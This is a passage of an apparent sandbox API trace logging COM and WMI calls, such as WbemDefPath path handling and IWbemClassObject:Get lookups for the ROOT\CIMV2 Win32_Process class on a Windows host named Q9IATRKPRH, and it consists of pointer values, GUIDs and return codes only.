[5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0080.457] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021a20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1c02eaf0) returned 0x0 [0080.457] WbemDefPath:IUnknown:Release (This=0x1c021a20) returned 0x0 [0080.457] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1c02eaf0) returned 0x0 [0080.457] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0080.458] WbemDefPath:IUnknown:AddRef (This=0x1c02eaf0) returned 0x3 [0080.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0080.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0080.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1c021a40) returned 0x0 [0080.458] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021a40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.458] WbemDefPath:IUnknown:Release (This=0x1c021a40) returned 0x3 [0080.458] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0080.458] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0080.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0080.458] WbemDefPath:IUnknown:Release (This=0x1c02eaf0) returned 0x2 [0080.458] WbemDefPath:IUnknown:Release (This=0x1c02eaf0) returned 0x1 [0080.458] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0080.459] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0080.459] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c02eaf0) returned 0x0 [0080.459] WbemDefPath:IUnknown:AddRef (This=0x1c02eaf0) returned 0x3 [0080.459] WbemDefPath:IUnknown:Release (This=0x1c02eaf0) returned 0x2 [0080.459] WbemDefPath:IWbemPath:SetText (This=0x1c02eaf0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0080.459] IWbemClassObject:Get (in: This=0x1c0289f0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0080.459] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0080.459] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0080.459] IWbemClassObject:Get (in: This=0x1c0289f0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0080.459] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0080.460] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0080.460] IWbemClassObject:Get (in: This=0x1c0289f0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0080.460] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0080.460] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0080.460] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0080.460] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0080.460] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0080.460] IUnknown:Release (This=0x111f638) returned 0x1 [0080.462] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c021be0) returned 0x0 [0080.463] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021be0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0080.463] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021be0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02ebb0) returned 0x0 [0080.463] WbemDefPath:IUnknown:Release (This=0x1c021be0) returned 0x0 [0080.463] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02ebb0) returned 0x0 [0080.463] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0080.463] WbemDefPath:IUnknown:AddRef (This=0x1c02ebb0) returned 0x3 [0080.463] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0080.463] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0080.463] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c021c20) returned 0x0 [0080.464] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021c20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.464] WbemDefPath:IUnknown:Release (This=0x1c021c20) returned 0x3 [0080.464] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0080.464] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0080.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0080.464] WbemDefPath:IUnknown:Release (This=0x1c02ebb0) returned 0x2 [0080.464] WbemDefPath:IUnknown:Release (This=0x1c02ebb0) returned 0x1 [0080.464] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0080.464] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0080.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02ebb0) returned 0x0 [0080.464] WbemDefPath:IUnknown:AddRef (This=0x1c02ebb0) returned 0x3 [0080.464] WbemDefPath:IUnknown:Release (This=0x1c02ebb0) returned 0x2 [0080.464] WbemDefPath:IWbemPath:SetText (This=0x1c02ebb0, uMode=0x4, pszPath="") returned 0x0 [0080.464] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0080.464] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0080.465] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0080.465] IUnknown:Release (This=0x111f638) returned 0x1 [0080.467] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c021be0) returned 0x0 [0080.467] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021be0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0080.467] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021be0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02ec70) returned 0x0 [0080.467] WbemDefPath:IUnknown:Release (This=0x1c021be0) returned 0x0 [0080.467] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02ec70) returned 0x0 [0080.467] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0080.467] WbemDefPath:IUnknown:AddRef (This=0x1c02ec70) returned 0x3 [0080.467] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0080.467] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0080.467] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c021c60) returned 0x0 [0080.468] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021c60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.468] WbemDefPath:IUnknown:Release (This=0x1c021c60) returned 0x3 [0080.468] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0080.468] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0080.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0080.468] WbemDefPath:IUnknown:Release (This=0x1c02ec70) returned 0x2 [0080.468] WbemDefPath:IUnknown:Release (This=0x1c02ec70) returned 0x1 [0080.468] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0080.468] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0080.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02ec70) returned 0x0 [0080.468] WbemDefPath:IUnknown:AddRef (This=0x1c02ec70) returned 0x3 [0080.468] WbemDefPath:IUnknown:Release (This=0x1c02ec70) returned 0x2 [0080.468] WbemDefPath:IWbemPath:SetText (This=0x1c02ec70, uMode=0x4, pszPath="") returned 0x0 [0080.468] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0080.468] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ebb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0080.468] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02ec70, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0080.468] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02ec70, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0080.468] WbemDefPath:IWbemPath:SetServer (This=0x1c02ec70, Name="Q9IATRKPRH") returned 0x0 [0080.468] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0080.468] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0080.468] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0080.469] IUnknown:Release (This=0x111f638) returned 0x1 [0080.470] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c021c80) returned 0x0 [0080.470] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021c80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0080.470] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021c80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02ed30) returned 0x0 [0080.470] WbemDefPath:IUnknown:Release (This=0x1c021c80) returned 0x0 [0080.470] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02ed30) returned 0x0 [0080.471] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0080.471] WbemDefPath:IUnknown:AddRef (This=0x1c02ed30) returned 0x3 [0080.471] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0080.471] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0080.471] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c021cc0) returned 0x0 [0080.471] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021cc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.471] WbemDefPath:IUnknown:Release (This=0x1c021cc0) returned 0x3 [0080.471] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0080.471] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0080.471] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0080.471] WbemDefPath:IUnknown:Release (This=0x1c02ed30) returned 0x2 [0080.471] WbemDefPath:IUnknown:Release (This=0x1c02ed30) returned 0x1 [0080.471] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0080.471] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0080.471] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02ed30) returned 0x0 [0080.471] WbemDefPath:IUnknown:AddRef (This=0x1c02ed30) returned 0x3 [0080.471] WbemDefPath:IUnknown:Release (This=0x1c02ed30) returned 0x2 [0080.472] WbemDefPath:IWbemPath:SetText (This=0x1c02ed30, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ed30, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetText (in: 